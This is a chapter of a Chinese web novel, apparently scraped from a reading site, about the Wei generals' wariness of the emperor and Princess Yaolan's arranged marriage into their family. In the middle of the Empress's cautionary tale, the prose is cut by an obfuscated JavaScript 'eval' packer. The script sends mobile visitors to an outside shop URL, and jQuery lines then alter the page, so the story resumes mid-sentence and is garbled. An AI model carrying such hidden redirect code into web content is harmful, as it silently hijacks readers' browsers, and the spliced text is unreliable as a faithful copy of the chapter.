默认冷灰
24号文字
方正启体

18. 两难全

作者:静待猫猫来本书字数:K更新时间:
    “二弟,三弟,快坐下,尝尝大哥从边境带回来的马桑酒,烈得很,拢共就这么两坛了,常叔要,我都没给。”魏临抱着两坛子酒,絮絮叨叨走了过来。


    四人围坐在花园的石桌边闲聊饮酒,四周都支起了灯笼,透着暖黄色的柔光,暖风蝉鸣好不悠闲,魏君泽撑着脑袋,整个人懒懒散散的。


    他接过魏临递来的酒碗喝了一口,说:“大哥,这酒够劲儿啊。”


    魏临举着酒碗,笑看他道:“所以拿碗给你装,这马桑酒就得拿碗喝才能喝出那味儿,在边境那会儿,冷的全靠这酒熬过来的,喝两口浑身就暖和的不行。”


    说完他看向一旁还拿着小酒杯喝酒的魏珩道:“二弟,这酒得一口闷,你一点一点能咂吧出啥味?”


    魏珩被这酒呛得不行,他皱眉以袖掩嘴咳了好一会,道:“咳咳,大哥,还砸吧什么味儿啊,这酒太烈了,到我嘴里全是辣味,我不行,我不行。”


    其余三人看他那样都笑他,魏君泽转了转眼睛,故作正经道:“诶,诶,可别让二哥喝了,他可是我们老魏家唯一一个有学问的人,天上的文曲星投到了武夫家,咱可得好好护着!”


    魏临见势拍了拍额头,也打趣道:“那是那是,这酒喝多了伤脑子,二弟不喝是好的,咱全家就这一个聪明脑袋瓜。”光说不算还动手揉起了魏珩的脑袋。


    魏珩被他们打趣的羞胀,双手抱着脑袋,道:“可算是知道秀才遇到兵是个什么感受了。”


    “你们聊什么呢?笑的我在外边都听到了。”魏夫人端了些下酒小菜,迎着灯笼柔光走了过来,“给你们弄了些下酒的菜。”


    魏兖拉着魏夫人的手,道:“这么晚了,不去歇着还忙这些,该累着了。”


    魏夫人笑着柔声道:“做两道菜能累什么,又不是每日都做,你们爷几个难得有机会好好聊聊,我看着高兴,不说了你们聊,我先回去休息了。”


    魏兖冲魏夫人点点头,柔情道:“夫人你去吧,我晚些回来陪你。”


    魏家兄弟:“母亲慢走。”


    魏君泽调侃道:“老爹,这是铁汉柔情都给了咱娘。”


    魏兖嗤了一声,道:“你个没媳妇儿的懂个屁。”


    魏君泽笑着撇撇嘴,不以为意。


    魏临在不知不觉中已经喝了三大碗酒,他歪着头朝魏珩痞笑道:“咱不是有一个快有媳妇儿的吗。”


    魏珩夹菜的手一愣,有些气恼的朝魏临,说:“大哥!”


    魏兖看着二儿子这一副快熟透的样子,对其他两人道:“行了,珩儿都快成煮熟的虾子了。”


    嬉笑过后,安静了片刻,魏兖突然出声道:“泽儿,这都没有外人,你把下午的事,说你哥哥们听听。”


    魏君泽敛色,顿了片刻把下午和魏兖的谈话说了一遍。


    魏临没有犹豫,当即拍桌道:“我赞成!”


    他道:“今日我和父亲一到玉京便先去了皇宫述职,说什么公务繁忙,让我们在外站等了一个时辰,哼,老子十里开外都能看到贼子的眼神,我都看到了那桌案上一本奏折都没有,给咱们下马威呢。”


    魏珩拧眉,急道:“大哥慎言。”


    魏临心里憋屈气恼得很,抬头猛喝了一大口酒。


    魏兖手握着酒杯,开口道:“临儿,你该收敛一些脾性,你以为皇上刚才是在开玩笑,他是真的想把你放入禁军营,那可是樊毅做主的地儿。”


    魏君泽看魏兖面色冷肃,开口问道:“皇上是想扣下大哥?”


    “怕是有这个意思。”魏兖喝了口酒,“不过他没有过分强求,可能也怕逼急了。”


    魏君泽讽笑道:“毕竟已经把瑶兰郡主赐婚给二哥,事情不能做的太难看,皇帝还是要脸面的。”


    魏珩神色从凝重变得有些失落,桌面上紧握的手渐渐松开,他不得不承认和瑶兰郡主成婚是皇上制衡魏家的手段。


    魏临犹豫再三,还是忍不住开口劝魏兖道:“父亲,我们和景钰有那一层关系在,别人哪怕不说但心里也是默认了的,若要守住魏家,守住魏家军,那将来坐上高堂之人就必须得是景钰!”


    魏兖侧头往魏家祠堂的方向看了好一会儿,紧握酒盏的手青筋皱起,那双不怒自威的双眼里有犹豫,有失望,有羞愧,也有愤恨……


    魏君泽理解父亲,他知道一个人要转变长久倚赖的信念是一件多么难的事。


    沉默了好一会儿魏兖张口,他艰涩道:“在魏家军面前我是主帅,在皇帝面前我是将臣,血战沙场我可抵万敌!贼人首级我挥手就取!排兵布阵我直取要害!偏帝心难测,我终是庇护和忠诚两难全。”


    他看向魏君泽道:“泽儿,我需要景钰给我一个承诺,来日他高坐明堂,我魏兖不要名、不要利,守住我魏家军千百将士!”


    魏君泽胸口闷胀,前世之难,今世绝不会重来!


    酒过三巡,魏临已经醉得扑倒在桌上,魏兖对魏君泽道:“先带你大哥回房休息吧。”


    魏君泽应声,他艰难的扶起喝的烂醉,重的和一堆铜铁似的魏临,拍了拍他的肩膀说:“大哥……咱……稍微先醒醒,回房再睡。”


    魏临一听,挣扎起来,打了个酒嗝说:“我没醉,我……还能再喝,今儿高兴,把常叔、小廉子、小清子都叫来喝!”


    魏君泽抬头望天,这酒嗝味儿是真的冲,他架起魏临胳膊拉着人就往屋里走,哄骗道:“都在屋里,就等你呢,咱回屋喝!再喝个五坛子!”


    声音俞远,魏珩见状也对魏兖道:“父亲不早了,你也早些回去休息吧。”


    魏兖不急,他缓缓开口道:“珩儿,你见过郡主了?可中意?”


    “见过。”魏珩回答时眼神有些飘忽,手指不自然的绞起衣角,他只回答了前一个问题,没有回答第二个,感性告诉他大概是中意的,但理性又在提醒他不可以。


    魏兖是过来人,况且这又是自己的儿子,哪能不懂,他背手望月道:“你可知当年,我费了多大的劲儿才娶到你娘?”


    他看魏珩一脸不解,又笑着自顾道:“你娘的父亲是个清流文臣,把你娘自小培养的满腹才情,自有林下风致,本是奔着找个知根知底的学生或者文人世家结两姓之好,奈何你娘和我这个兵痞子看对眼了。”


    说到此处,他有些自得,“你外祖父得知此事,拗不过女儿,便找到了我,为难于我要我立下大功有了功劳爵位才能娶你娘。”


    魏珩惊讶道:“外祖父我还有些印象,儒雅随和甚是好相与。”


    魏兖从容道:“父母之爱子,则为之计深远。可最后还不是被我娶到了,还生了你们这一窝小崽子。”


    他看魏珩被逗笑了,便又认真道:“珩儿,父亲与你说这些是想告诉你,当年我与你母亲也是不被众人看好,文臣和武将本就是一条鸿沟,可我们也跨过去了,瑶兰郡主的身份虽说尴尬,禁不住让人提防,但莫要提前给人定性,也切莫负了真心。”


    魏珩终是了然,父亲看出了他的犹豫是在宽解他,他垂头舒了口气,再抬起头时眸中阴霾已去,他坦言道:“儿子确实中意郡主,自是想以真心换真心,祈盼良缘。可儿子心里也是有数的,绝不会拿魏家和魏家军去赌。”


    魏兖拍了拍他的肩膀,欣慰道:“你长大了,爹信你,走吧,我也该回去好好陪你娘了。”


    魏珩解了心事,他哼笑一声和魏兖一同踏着月色回了房。


    “臣妇拜见皇后娘娘,娘娘千岁千千岁。”


    “瑶兰拜见皇后娘娘,娘娘千岁千千岁。”


    “弟妹,令仪快快起来,都是自家人莫要拘礼。”凤仪宫内,皇后坐在主位抬手示意宫女们去搀扶两人。


    见两人入座,皇后道:“弟妹,近来可好?”


    樊夫人莞尔笑道:“托皇上和娘娘的福,一切都好。”


    “那便好。”,皇后移目看向瑶兰郡主,朝她招招手,道:“令仪来姑母这,让姑母好好看看你。”


    “是,皇后娘娘。”瑶兰郡主起身碎步走到皇后身边坐下,微垂着头,坐姿端正。


    皇后笑着替瑶兰郡主理了理碎发,眼神不动声色的上下扫视了一圈,她微嗔道:“许久不见,令仪可是与我生分了,都不叫我姑母了。”


    瑶兰郡主说:“宫内宫规森严,瑶兰不敢放肆,但心里是念着娘娘的。”


    皇后拍拍她的手说:“无妨,本宫允许你叫姑母,本宫爱听。”


    瑶兰郡主抿嘴笑了一下,说:“是,姑母。”


    皇后见瑶兰郡主听话便舒心一笑,她拿起一旁的精致木盒递到瑶兰郡主手中,道:“还记得你小时候缠人可爱的紧,一见到本宫便要本宫抱你,眨眼间小丫头长大都要成婚了,真是岁月不饶人啊,这是姑母单独送你的成亲礼,拿着莫要推拒。”


    瑶兰郡主转头看了母亲一眼,见她没有异色,便做礼道:“多谢姑母。”


    皇后点点头,拿起茶杯对两人说:“不要干坐着,快品品这茶,是皇上新赏的西湖龙井。”


    几人正品着茶,皇后突然掩嘴笑了两声,转头对瑶兰郡主道:“令仪,姑母前儿听了个有趣的话本子,讲给你听听。”


    瑶兰郡主恭敬道:“娘娘您说。”


    皇后斜倚在桌边,转动着手上的护甲,她慢悠悠道:“那话本子说的是两国征战的故事,其中一方打的艰难,为了养精蓄锐便提出让公主前去和亲顺便


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487242|202080||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    打探敌情,本做好了被拒的打算,谁知另一方竟欣然同意了,那和亲皇子也是生的气宇轩昂,为人谦逊待公主极为体贴,小意温柔迷人眼,久而久之公主便忘记了母国的叮嘱,还全心为皇子谋划吞并母国,最后自是成功了,就在公主满心满眼的等着情郎归来时,等来的却是一杯毒酒,公主到死才悔恨信错了人,还害了母国。”


    她叹了口气,道:“真是令人唏嘘啊。”


    说完瞟向瑶兰郡主,皇后见她面色有些苍白,便摸着她的胳膊,道:“怎么脸色这么差,姑母讲的故事吓着你了?”


    瑶兰摇了摇头,说:“没有,就是昨晚没睡好,有些累。”


    皇后说:“没吓到你就好,哎,姑母说这个,是觉得这故事对女子还是挺有警醒意味的,母族才是一个女子最牢靠的同盟,哪怕嫁到夫家夫君再好,在他们眼里自己都是一个外人,人心难测最是经不起赌。”


    说着,皇后看向瑶兰郡主,眉眼弯弯,笑意却不达眼底,带着些审视的意味,缓缓开口问:“你说,姑母说的对吗?”


    瑶兰郡主默默将掩在袖下的手握紧,面上镇定带笑道:“姑母说的极对。”


    皇后定定打量了她一会,笑着道:“好孩子,以后多来宫里陪姑母说说话。”


    瑶兰郡主道:“是,姑母。”


    到了马车上,瑶兰郡主才算松了口气,樊夫人看着心疼得紧,把瑶兰郡主的双手捂在自己手心中,她道:“天家无情,我早就该知道,如今还把自己的女儿给搭进去了。”


    瑶兰郡主苦笑一声,劝慰道:“母亲,女儿早就心里有数自己只是制衡魏家的一颗棋子,走一步看一步吧。”


    樊夫人思忖片刻后,道:“令仪,嫁去魏家只管好好过日子,那魏珩,母亲看的出来是个君子,就算不能同心也定会厚待于你,况且我看他也并非是对你无意,母亲会劝你父亲不让你掺和到这些事里。”


    瑶兰郡主眼里闪过一丝惊讶,她眼眶泛红,喉口酸涩,挤出声音唤道:“母亲。”


    樊夫人轻轻抚过瑶兰郡主的额间、眉眼、脸颊,仿佛在擦拭那世间仅有一件的珍宝,那么明艳,那么珍贵,那么惹人怜惜,她哽咽道:“我的令仪仙姿佚貌,亦有颗玲珑心,母亲常常想当年若是没有嫁给你父亲该多好,我们做对平常人家的母女,钱财也罢,权利也罢,都是空的……令仪,母亲这辈子不得自由,但我要我的女儿安赏四季,一世长安。”


    瑶兰郡主不去管那决堤的眼泪,她像倦鸟归巢般投入樊夫人怀中,这一刻她不是瑶兰郡主,也不是樊令仪,她只是一个会委屈,会愤怒,会不甘的普通人。


    樊尚书府,两人一进门便有小厮来道:“郡主,大人让您回来去趟书房。”


    樊夫人闻言便想跟着一起去,被瑶兰郡主劝住了,她道:“母亲无事,我一个人可以的,今日费了不少神,您先去休息吧。”


    樊夫人一顿,皱眉点了点头,道:“那你去吧,令仪记住方才娘说的话,你只管不要委屈自己。”


    “嗯,女儿明白。”话毕,她用力握了一下樊夫人的手。


    “父亲,女儿来了。”瑶兰郡主敲门示意。


    樊尚书在屋内道:“进来吧。”


    推开门,他见到来人,便道:“令仪今日进宫一切可好?”


    瑶兰郡主道:“都好。”


    樊尚书点点头,道:“以后成了亲,无事就常去宫里走动,和你姑母说说话,莫要生疏了,知道吗?”


    瑶兰郡主神色不变,语气冷淡道:“女儿知道。”


    樊尚书看了女儿几眼,说不出是愧疚还是什么原因,他叹了口气道:“去了魏家,若是受了委屈便回来告诉爹。”


    瑶兰郡主睫毛颤动,她心口涩意涌起,只因着父亲算计中透露出的那一点温情,不如没有。


    樊尚书也不恼她没有回应,回身拿出一匣子铺面地契递给瑶兰郡主,说:“这是给你添的嫁妆,铺面都安排了管事打点,不需你再费心。”


    瑶兰郡主翻看了一下,竟有百来张,她惊讶道:“这么多!”


    樊尚书道:“你放好便是,你只记住莫要转卖丢失。”后一句说的语气格外郑重。


    瑶兰郡主把匣子盖好,道:“女儿知道。”她垂眸想了想,说:“父亲,女儿想请母亲找人教女儿算账管家,如今马上要嫁人,不会这些说不过去,且现下还多了这么多铺面。”


    樊尚书道:“你是我的女儿,这种事不需要你亲自做,你生来便是享福的,谁敢说你。”


    说到铺面他又严肃道:“铺面自会有人统一打点,都信得过,你收银子便是。”


    瑶兰郡主握紧匣子,应道:“知道了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)